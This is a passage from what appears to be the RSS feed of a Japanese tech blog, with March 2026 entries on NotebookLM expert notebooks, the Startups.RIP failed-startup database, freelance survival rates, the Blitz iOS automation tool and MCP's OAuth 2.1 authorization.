+0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-desktop-preview-%E7%94%BB%E9%9D%A2%E3%82%AF%E3%83%AA%E3%83%83%E3%82%AF%E3%81%A7dom%E8%A6%81%E7%B4%A0%E3%82%92%E7%9B%B4%E6%8E%A5%E6%8C%87%E5%AE%9A%E3%81%97%E3%81%A6ui%E4%BF%AE%E6%AD%A3%E3%81%A7%E3%81%8D%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</guid><description>Claude Desktop Preview に追加された DOM 要素クリック機能の使い方と仕組み、CLI 版 Claude Code との違い、Chrome DevTools MCP による代替手段を解説します。</description></item><item><title>NotebookLMで「20人の専門家」を雇う方法：専門特化型ノートブックの作り方</title><link>https://hdknr.github.io/blogs/posts/2026/03/notebooklm%E3%81%A720%E4%BA%BA%E3%81%AE%E5%B0%82%E9%96%80%E5%AE%B6%E3%82%92%E9%9B%87%E3%81%86%E6%96%B9%E6%B3%95%E5%B0%82%E9%96%80%E7%89%B9%E5%8C%96%E5%9E%8B%E3%83%8E%E3%83%BC%E3%83%88%E3%83%96%E3%83%83%E3%82%AF%E3%81%AE%E4%BD%9C%E3%82%8A%E6%96%B9/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/notebooklm%E3%81%A720%E4%BA%BA%E3%81%AE%E5%B0%82%E9%96%80%E5%AE%B6%E3%82%92%E9%9B%87%E3%81%86%E6%96%B9%E6%B3%95%E5%B0%82%E9%96%80%E7%89%B9%E5%8C%96%E5%9E%8B%E3%83%8E%E3%83%BC%E3%83%88%E3%83%96%E3%83%83%E3%82%AF%E3%81%AE%E4%BD%9C%E3%82%8A%E6%96%B9/</guid><description>&lt;p&gt;NotebookLM の「専門特化型ノート」を使って、テーマごとにノートブックを分けることで「20人の専門家チーム」を構築する方法を紹介します。元ネタは &lt;a href="https://x.com/ai_jitan"&gt;えーたん/AI×時短で仕事効率化(@ai_jitan)&lt;/a&gt; さんの投稿です。&lt;/p&gt;
&lt;h2 id="なぜ-notebooklm-が専門家になるのか"&gt;なぜ NotebookLM が「専門家」になるのか&lt;/h2&gt;
&lt;p&gt;NotebookLM の最大の強みは、&lt;strong&gt;ユーザーが入れた資料だけを根拠に回答する&lt;/strong&gt;こと。ネットの一般論ではなく、ストックした信頼できる情報源からのみ回答を生成します。さらに、すべての回答に引用元のリンクが付くため、根拠の確認も簡単です。&lt;/p&gt;
&lt;p&gt;この仕組みを活かして、&lt;strong&gt;テーマごとにノートブックを分ける&lt;/strong&gt;。たったこれだけで、各ノートブックが「その分野の専門家」として機能し始めます。&lt;/p&gt;
&lt;p&gt;1つの AI に何でもかんでも聞くのと、20人の専門家に分けて聞くのでは、回答の精度がまったく違います。&lt;/p&gt;
&lt;h2 id="専門家ノートの作り方共通4ステップ"&gt;専門家ノートの作り方（共通4ステップ）&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;NotebookLM で新規ノートブックを作成する&lt;/li&gt;
&lt;li&gt;タイトルに「○○専門」と設定する（例：「マーケティング専門」）&lt;/li&gt;
&lt;li&gt;「ソースを探す（Fast Research）」で、5つのプロンプトを順番に実行する&lt;/li&gt;
&lt;li&gt;情報が集約されたら、あなたの課題を入力するだけ&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="20人の専門家一覧"&gt;20人の専門家一覧&lt;/h2&gt;
&lt;h3 id="1-業務改善コンサルタント"&gt;1. 業務改善コンサルタント&lt;/h3&gt;
&lt;p&gt;ムダを見つけて仕組みに変える専門家。属人化している作業、毎回ゼロから作っている資料、形骸化した会議などの「見えないコスト」を洗い出します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fast Research 用プロンプト例:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「業務プロセスの可視化と改善手法（BPR、リーン等）を具体例付きで解説した記事を収集」&lt;/li&gt;
&lt;li&gt;「属人化の解消とナレッジマネジメントの実践方法を詳しく紹介した記事を収集」&lt;/li&gt;
&lt;li&gt;「業務自動化（RPA・ノーコード等）の導入手順と成功事例を解説した記事を収集」&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-マーケティングコンサルタント"&gt;2. マーケティングコンサルタント&lt;/h3&gt;
&lt;p&gt;集客戦略、SNS運用、競合分析、KPI設計まで幅広くカバー。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fast Research 用プロンプト例:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「デジタルマーケティングの最新手法と成功事例を詳しく解説した記事を収集」&lt;/li&gt;
&lt;li&gt;「SNSマーケティングとコンテンツ戦略の具体的な手法を解説した記事を収集」&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-コピーライター"&gt;3. コピーライター&lt;/h3&gt;
&lt;p&gt;メール、提案書、LP、SNS投稿など「伝わる言葉」を作る専門家。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fast Research 用プロンプト例:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;「売れるキャッチコピーの作り方と名作事例を詳しく解説した記事を収集」&lt;/li&gt;
&lt;li&gt;「ランディングページのライティング手法とコンバージョン改善策を紹介した記事を収集」&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-データアナリスト"&gt;4. データアナリスト&lt;/h3&gt;
&lt;p&gt;データに基づいた判断ができるようになる右腕。売上予測、A/Bテストの設計、KPIの設定をサポート。&lt;/p&gt;
&lt;h3 id="5-営業コーチ"&gt;5. 営業コーチ&lt;/h3&gt;
&lt;p&gt;新規開拓の方法、クロージングの話法、断られたときの切り返し方まで。営業スキルを「型」として共有できます。&lt;/p&gt;
&lt;h3 id="6-プロジェクトマネージャー"&gt;6. プロジェクトマネージャー&lt;/h3&gt;
&lt;p&gt;タスクの優先順位の付け方、進捗の可視化方法、トラブル発生時の対応手順を体系的にアドバイス。&lt;/p&gt;
&lt;h3 id="7-広報prアドバイザー"&gt;7. 広報・PRアドバイザー&lt;/h3&gt;
&lt;p&gt;プレスリリースの書き方、メディアへのアプローチ方法、SNS公式アカウントの運用方針をカバー。&lt;/p&gt;
&lt;h3 id="8-心理学アドバイザー"&gt;8. 心理学アドバイザー&lt;/h3&gt;
&lt;p&gt;部下のやる気を引き出す声かけ、顧客の購買意欲を高めるプレゼン手法、チームの信頼関係を築くコミュニケーション術。&lt;/p&gt;
&lt;h3 id="9-カスタマーサクセスマネージャー"&gt;9. カスタマーサクセスマネージャー&lt;/h3&gt;
&lt;p&gt;解約の兆候を早期に察知する方法、顧客オンボーディングの設計、アップセルの提案タイミングなど。&lt;/p&gt;
&lt;h3 id="10-人事コンサルタント"&gt;10. 人事コンサルタント&lt;/h3&gt;
&lt;p&gt;「面接で何を聞くべきか」「どう評価すべきか」「入社後にどう育てるか」まで体系的にサポート。&lt;/p&gt;
&lt;h3 id="11-交渉ファシリテーションアドバイザー"&gt;11. 交渉・ファシリテーションアドバイザー&lt;/h3&gt;
&lt;p&gt;会議を30分で終わらせる進行術、交渉で双方が納得する落としどころの見つけ方など。&lt;/p&gt;
&lt;h3 id="12-財務アドバイザー"&gt;12. 財務アドバイザー&lt;/h3&gt;
&lt;p&gt;財務諸表の読み方、投資の判断基準、キャッシュフロー管理をカバー。&lt;/p&gt;</description></item><item><title>Startups.RIP：5,700社以上の失敗したYCスタートアップから学ぶデータベース</title><link>https://hdknr.github.io/blogs/posts/2026/03/startups.rip5700%E7%A4%BE%E4%BB%A5%E4%B8%8A%E3%81%AE%E5%A4%B1%E6%95%97%E3%81%97%E3%81%9Fyc%E3%82%B9%E3%82%BF%E3%83%BC%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%81%8B%E3%82%89%E5%AD%A6%E3%81%B6%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/startups.rip5700%E7%A4%BE%E4%BB%A5%E4%B8%8A%E3%81%AE%E5%A4%B1%E6%95%97%E3%81%97%E3%81%9Fyc%E3%82%B9%E3%82%BF%E3%83%BC%E3%83%88%E3%82%A2%E3%83%83%E3%83%97%E3%81%8B%E3%82%89%E5%AD%A6%E3%81%B6%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9/</guid><description>&lt;p&gt;「資金調達の翌日にCTOが辞めて、コードが書けないCEOだけ残った」——こんな生々しい失敗談が5,700社以上も集められたデータベース &lt;a href="https://startups.rip/"&gt;Startups.RIP&lt;/a&gt; が話題になっている。&lt;/p&gt;
&lt;h2 id="startupsrip-とは"&gt;Startups.RIP とは&lt;/h2&gt;
&lt;p&gt;Startups.RIP は、Y Combinator（YC）出身の失敗・買収されたスタートアップ1,737社以上について、研究レポート、再構築プラン、技術仕様をまとめたプラットフォームだ。「Dead YC Startups, Alive Ideas」をコンセプトに、2005年から現在までのYCスタートアップを網羅している。&lt;/p&gt;
&lt;p&gt;作者の Oscar Hong 氏が、失敗したスタートアップを分析する中で「アイデアが悪かったのではなく、タイミング・市場・技術が準備できていなかっただけ」というパターンを発見し、このデータベースを構築した。&lt;/p&gt;
&lt;h2 id="主な機能"&gt;主な機能&lt;/h2&gt;
&lt;h3 id="失敗要因の詳細分析"&gt;失敗要因の詳細分析&lt;/h3&gt;
&lt;p&gt;単なる失敗リストではなく、各スタートアップについて以下の情報が整理されている:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;失敗の要因分析&lt;/strong&gt;: なぜ事業が停滞・終了したのか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;何がうまくいっていたか&lt;/strong&gt;: 失敗の中にも成功要素はある&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;バッチ情報・創業者情報&lt;/strong&gt;: YCのどのバッチ出身か、誰が創業したか&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="現代技術での再構築プラン"&gt;現代技術での再構築プラン&lt;/h3&gt;
&lt;p&gt;各スタートアップについて、2026年の技術スタックで再構築するならどうなるかという「ビルドプラン」が用意されている:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;現在の市場分析&lt;/strong&gt;: 当時と今で市場がどう変化したか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コア機能の設計&lt;/strong&gt;: 何を中心に据えるべきか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Go-to-Market 戦略&lt;/strong&gt;: 現代のチャネルでどう展開するか&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DBスキーマ・API設計&lt;/strong&gt;: 技術的な実装の青写真&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AIに実装させる場合のプロンプト&lt;/strong&gt;: 生成AIを活用した開発アプローチ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="アイデアの進化の可視化"&gt;アイデアの進化の可視化&lt;/h3&gt;
&lt;p&gt;失敗したスタートアップと、その後成功した類似サービスの比較機能もある:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Posterous → Substack&lt;/li&gt;
&lt;li&gt;Parse → Supabase&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;こうした「アイデアの進化」を視覚的に追えるのは、起業を考えている人にとって非常に参考になる。&lt;/p&gt;
&lt;h2 id="技術的な背景"&gt;技術的な背景&lt;/h2&gt;
&lt;p&gt;Startups.RIP 自体は Next.js（TypeScript）+ Tailwind CSS で構築されている。興味深いのは、このデータベースの調査・分析に &lt;strong&gt;Claude Agent SDK&lt;/strong&gt; が Deep Research エージェントとして使われている点だ。AIを活用して大量のスタートアップ情報を体系的に整理するという、まさにAI時代ならではのアプローチといえる。&lt;/p&gt;
&lt;h2 id="活用方法"&gt;活用方法&lt;/h2&gt;
&lt;p&gt;このデータベースは以下のような場面で役立つ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;起業準備&lt;/strong&gt;: 似たようなサービスを考えているなら、過去の失敗から気をつけるべきポイントがわかる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技術選定の参考&lt;/strong&gt;: 再構築プランに含まれる技術スタックやDB設計は、実際の開発の参考になる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;市場調査&lt;/strong&gt;: 特定の領域でどんなスタートアップが失敗し、なぜ失敗したかを俯瞰できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;読み物として&lt;/strong&gt;: 純粋にスタートアップの栄枯盛衰を追うだけでも面白い&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;失敗したスタートアップのデータベースは &lt;a href="https://www.failory.com/"&gt;Failory&lt;/a&gt; や &lt;a href="https://www.cbinsights.com/research/startup-failure-post-mortem/"&gt;CB Insights&lt;/a&gt; など他にもあるが、Startups.RIP の特徴は「再構築プラン」まで踏み込んでいる点だ。単に「なぜ失敗したか」だけでなく、「今ならどう作るか」まで提示することで、失敗を次の挑戦への具体的なヒントに変えている。&lt;/p&gt;</description></item><item><title>フリーランスが1年以内に4割廃業する現実：月収100万の壁を超える「覚悟」とは</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%95%E3%83%AA%E3%83%BC%E3%83%A9%E3%83%B3%E3%82%B9%E3%81%8C1%E5%B9%B4%E4%BB%A5%E5%86%85%E3%81%AB4%E5%89%B2%E5%BB%83%E6%A5%AD%E3%81%99%E3%82%8B%E7%8F%BE%E5%AE%9F%E6%9C%88%E5%8F%8E100%E4%B8%87%E3%81%AE%E5%A3%81%E3%82%92%E8%B6%85%E3%81%88%E3%82%8B%E8%A6%9A%E6%82%9F%E3%81%A8%E3%81%AF/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%95%E3%83%AA%E3%83%BC%E3%83%A9%E3%83%B3%E3%82%B9%E3%81%8C1%E5%B9%B4%E4%BB%A5%E5%86%85%E3%81%AB4%E5%89%B2%E5%BB%83%E6%A5%AD%E3%81%99%E3%82%8B%E7%8F%BE%E5%AE%9F%E6%9C%88%E5%8F%8E100%E4%B8%87%E3%81%AE%E5%A3%81%E3%82%92%E8%B6%85%E3%81%88%E3%82%8B%E8%A6%9A%E6%82%9F%E3%81%A8%E3%81%AF/</guid><description>&lt;p&gt;X（旧 Twitter）で &lt;a href="https://x.com/Via00Via"&gt;VIA(@Via00Via)&lt;/a&gt; 氏が投稿した、フリーランスの厳しい生存率と月収100万円の壁を超えるための「覚悟」についての記事が話題になっている。中小企業白書のデータを交えながら、その要点を整理する。&lt;/p&gt;
&lt;h2 id="フリーランスの廃業率数字が示す厳しい現実"&gt;フリーランスの廃業率：数字が示す厳しい現実&lt;/h2&gt;
&lt;p&gt;日本のフリーランスの廃業率は以下のように報告されている：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1年以内&lt;/strong&gt;: 約4割が廃業&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3年以内&lt;/strong&gt;: 約6割が廃業&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;10年後&lt;/strong&gt;: わずか1割程度しか生き残れない&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;多くの人が「スキルさえあれば」と信じて参入するが、現実はもっとシビアだ。&lt;/p&gt;
&lt;h2 id="月収100万以下のフリーランスに共通する行動パターン"&gt;月収100万以下のフリーランスに共通する行動パターン&lt;/h2&gt;
&lt;p&gt;月収100万円という壁を前に足踏みしている人には共通点がある。それは &lt;strong&gt;無意識のうちに「今の延長線上」の努力に逃げていること&lt;/strong&gt; だ。&lt;/p&gt;
&lt;p&gt;低単価な案件を寝る間も惜しんで数でこなす。一見すると努力に見えるが、本質的には以下のリスクから目を背けている：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;高単価な提案をして断られるリスク&lt;/li&gt;
&lt;li&gt;責任範囲を広げる恐怖&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;今の作業を繰り返すだけで壁を越えようとするのは、正直やめたほうがいい。&lt;/p&gt;
&lt;h2 id="時給の呪縛から抜け出す"&gt;「時給」の呪縛から抜け出す&lt;/h2&gt;
&lt;p&gt;なぜあと一歩が届かないのか。それは &lt;strong&gt;「時給」という概念に縛られ、自分の時間を切り売りすることに安心しているから&lt;/strong&gt; だ。&lt;/p&gt;
&lt;p&gt;1万円の作業を100回こなそうとする努力は一見尊い。しかしその実態は、100万円の価値を1回で提供するプレッシャーから逃げているだけ。今のままのやり方でどうにかしようとする甘えが一番のブレーキになっている。&lt;/p&gt;
&lt;h2 id="壁を突破するために必要な行動変革"&gt;壁を突破するために必要な行動変革&lt;/h2&gt;
&lt;p&gt;この壁を突破したいなら、今日から行動を180度変える必要がある：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;自分の安売りを即座にやめる&lt;/strong&gt; — 作業員としてではなく、クライアントの利益に直接貢献する「事業パートナー」として振る舞う&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;相手の売上に責任を持つ覚悟を決める&lt;/strong&gt; — 100万円の価値を届けるために何が必要かを考え、泥臭く提案し続ける&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;チームで成果を出す仕組みを作る&lt;/strong&gt; — 時には自分より優秀な人を巻き込み、個人の限界を超える&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="報酬は覚悟に比例する"&gt;報酬は「覚悟」に比例する&lt;/h2&gt;
&lt;p&gt;フリーランスの報酬は「自分がどれだけの責任を背負うと決めたか」に比例する。100万円以下で停滞しているのは、心のどこかで「今のままでも生きていける」と自分を甘やかしている証拠かもしれない。&lt;/p&gt;
&lt;p&gt;廃業率のデータに飲み込まれる側に回るのか、それとも突き抜ける側に回るのか。その差は、今この瞬間に &lt;strong&gt;「退路を断つ覚悟」&lt;/strong&gt; を持てるかどうかにかかっている。&lt;/p&gt;
&lt;p&gt;成功しているフリーランスは、例外なく「覚悟」を決めた日から人生のギアが変わっている。&lt;/p&gt;
&lt;h2 id="参考"&gt;参考&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://x.com/Via00Via/status/2035857227429630228"&gt;元ポスト — VIA(@Via00Via)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://itpropartners.com/blog/39995/"&gt;フリーランスの廃業率は1年で30%以上？ — ITプロマガジン&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Claude Code を「自分専用の開発チーム」に変える3つの機能 — フック・カスタムコマンド・サブエージェント</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%92%E8%87%AA%E5%88%86%E5%B0%82%E7%94%A8%E3%81%AE%E9%96%8B%E7%99%BA%E3%83%81%E3%83%BC%E3%83%A0%E3%81%AB%E5%A4%89%E3%81%88%E3%82%8B3%E3%81%A4%E3%81%AE%E6%A9%9F%E8%83%BD-%E3%83%95%E3%83%83%E3%82%AF%E3%82%AB%E3%82%B9%E3%82%BF%E3%83%A0%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%82%B5%E3%83%96%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%82%92%E8%87%AA%E5%88%86%E5%B0%82%E7%94%A8%E3%81%AE%E9%96%8B%E7%99%BA%E3%83%81%E3%83%BC%E3%83%A0%E3%81%AB%E5%A4%89%E3%81%88%E3%82%8B3%E3%81%A4%E3%81%AE%E6%A9%9F%E8%83%BD-%E3%83%95%E3%83%83%E3%82%AF%E3%82%AB%E3%82%B9%E3%82%BF%E3%83%A0%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%82%B5%E3%83%96%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88/</guid><description>Claude Code のフック（Hooks）、カスタムスラッシュコマンド、サブエージェントの3機能を解説。settings.json の設定例やコマンド定義の実例付きで、導入後の次のステップが分かる。</description></item><item><title>iOS開発が完全自動化される時代が来た：オープンソースmacOSアプリ「Blitz」とは</title><link>https://hdknr.github.io/blogs/posts/2026/03/ios%E9%96%8B%E7%99%BA%E3%81%8C%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%95%E3%82%8C%E3%82%8B%E6%99%82%E4%BB%A3%E3%81%8C%E6%9D%A5%E3%81%9F%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9macos%E3%82%A2%E3%83%97%E3%83%AAblitz%E3%81%A8%E3%81%AF/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ios%E9%96%8B%E7%99%BA%E3%81%8C%E5%AE%8C%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%95%E3%82%8C%E3%82%8B%E6%99%82%E4%BB%A3%E3%81%8C%E6%9D%A5%E3%81%9F%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9macos%E3%82%A2%E3%83%97%E3%83%AAblitz%E3%81%A8%E3%81%AF/</guid><description>&lt;p&gt;AI エージェントが iOS アプリ開発を丸ごと自動化するオープンソースツール「Blitz」が公開された。ビルドからテスト、App Store 提出まで、これまで手作業だった工程を AI に任せられる時代が到来しつつある。&lt;/p&gt;
&lt;h2 id="blitz-とは"&gt;Blitz とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://blitz.dev/"&gt;Blitz&lt;/a&gt; は、AI エージェントに iOS 開発ライフサイクルの完全な制御を与えるネイティブ macOS アプリケーション。シミュレーター/iPhone の管理、データベース設定、App Store Connect への提出まで、開発に必要な一連の操作を AI エージェントが実行できる。&lt;/p&gt;
&lt;p&gt;GitHub リポジトリ: &lt;a href="https://github.com/blitzdotdev/blitz-mac"&gt;blitzdotdev/blitz-mac&lt;/a&gt;（Apache-2.0 ライセンス）&lt;/p&gt;
&lt;h2 id="主な特徴"&gt;主な特徴&lt;/h2&gt;
&lt;h3 id="mcp-サーバーによる-ai-連携"&gt;MCP サーバーによる AI 連携&lt;/h3&gt;
&lt;p&gt;Blitz には MCP（Model Context Protocol）サーバーが組み込まれており、Claude Code をはじめとする MCP クライアントからアプリのビルド、テスト、App Store への提出が可能になる。&lt;/p&gt;
&lt;h3 id="自動化される範囲"&gt;自動化される範囲&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;コード署名とビルド&lt;/strong&gt;: Xcode プロジェクトのビルドを AI が実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テスト実行&lt;/strong&gt;: シミュレーターや実機でのテストを自動化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;App Store メタデータ&lt;/strong&gt;: アプリの説明やスクリーンショットの管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;App Store 提出&lt;/strong&gt;: App Store Connect API を通じた申請処理&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="iphone-mcp"&gt;iPhone MCP&lt;/h3&gt;
&lt;p&gt;関連プロジェクトとして &lt;a href="https://github.com/blitzdotdev/iPhone-mcp"&gt;iPhone-mcp&lt;/a&gt; も公開されている。AI が実際の iPhone を操作してアプリをテストし、バグを発見できる仕組みだ。&lt;/p&gt;
&lt;h2 id="セキュリティとプライバシー"&gt;セキュリティとプライバシー&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;MCP サーバーは &lt;code&gt;127.0.0.1&lt;/code&gt; にのみバインドされ、外部ネットワークには公開されない&lt;/li&gt;
&lt;li&gt;連絡先、写真、位置情報などの個人データにはアクセスしない&lt;/li&gt;
&lt;li&gt;画面キャプチャは iOS シミュレーターウィンドウに限定&lt;/li&gt;
&lt;li&gt;ネットワーク通信は Apple の App Store Connect API と GitHub のリリース API（更新チェック用）のみ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="技術スタック"&gt;技術スタック&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SwiftUI で構築されたシングルターゲットアプリ&lt;/li&gt;
&lt;li&gt;Swift Package Manager によるビルド&lt;/li&gt;
&lt;li&gt;CLAUDE.md ファイルによるアーキテクチャドキュメントが整備されている&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ios-開発の未来"&gt;iOS 開発の未来&lt;/h2&gt;
&lt;p&gt;従来の iOS 開発では、Xcode での手動操作が多くの時間を占めていた。Blitz のようなツールが成熟すれば、開発者はアプリのロジックや UX 設計に集中し、ビルド・テスト・提出といった反復的な作業は AI に委ねるワークフローが一般的になるかもしれない。&lt;/p&gt;</description></item><item><title>MCP のセキュリティが OAuth 2.1 で大幅進化：AI エージェントと社内データを安全に接続する仕組み</title><link>https://hdknr.github.io/blogs/posts/2026/03/mcp-%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%81%8C-oauth-2.1-%E3%81%A7%E5%A4%A7%E5%B9%85%E9%80%B2%E5%8C%96ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A8%E7%A4%BE%E5%86%85%E3%83%87%E3%83%BC%E3%82%BF%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E6%8E%A5%E7%B6%9A%E3%81%99%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mcp-%E3%81%AE%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%81%8C-oauth-2.1-%E3%81%A7%E5%A4%A7%E5%B9%85%E9%80%B2%E5%8C%96ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%A8%E7%A4%BE%E5%86%85%E3%83%87%E3%83%BC%E3%82%BF%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E6%8E%A5%E7%B6%9A%E3%81%99%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</guid><description>&lt;p&gt;AI エージェントが外部ツールやデータソースに安全にアクセスするための標準プロトコル「MCP（Model Context Protocol）」が、OAuth 2.1 ベースの認証・認可フレームワークを導入し、エンタープライズ環境での採用が加速しています。本記事では、MCP の認可仕様の仕組みと、企業導入における設計ポイントを解説します。&lt;/p&gt;
&lt;h2 id="mcp-とは"&gt;MCP とは&lt;/h2&gt;
&lt;p&gt;MCP（Model Context Protocol）は、AI アシスタントがツール、データソース、サービスといった外部リソースに接続するための標準プロトコルです。Anthropic が提唱し、オープンな仕様として公開されています。&lt;/p&gt;
&lt;p&gt;MCP を使うことで、AI エージェントは以下のようなことが可能になります：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;社内データベースへのクエリ実行&lt;/li&gt;
&lt;li&gt;外部 API の呼び出し&lt;/li&gt;
&lt;li&gt;ファイルシステムの操作&lt;/li&gt;
&lt;li&gt;各種 SaaS サービスとの連携&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="oauth-20-から-21-へ何が変わったのか"&gt;OAuth 2.0 から 2.1 へ：何が変わったのか&lt;/h2&gt;
&lt;p&gt;OAuth 2.1 は OAuth 2.0 の後継仕様であり、これまで個別の RFC やベストプラクティスとして散在していたセキュリティ強化策を統合したものです。MCP がベースとする OAuth 2.1 では、以下の重要な変更が含まれています：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;変更点&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PKCE 必須化&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;全クライアント（パブリック・コンフィデンシャル両方）で必須に&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Implicit フロー廃止&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;アクセストークンが URL フラグメントに露出するリスクを排除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;リフレッシュトークンのローテーション&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;パブリッククライアントでのトークン漏洩時の影響を軽減&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;リダイレクト URI の厳密一致&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ワイルドカードによるオープンリダイレクト攻撃を防止&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;つまり、OAuth 2.1 は「新機能の追加」というより、&lt;strong&gt;OAuth 2.0 時代に発見された攻撃手法への対策を標準に組み込んだもの&lt;/strong&gt;です。&lt;/p&gt;
&lt;h2 id="mcp-の認可アーキテクチャ"&gt;MCP の認可アーキテクチャ&lt;/h2&gt;
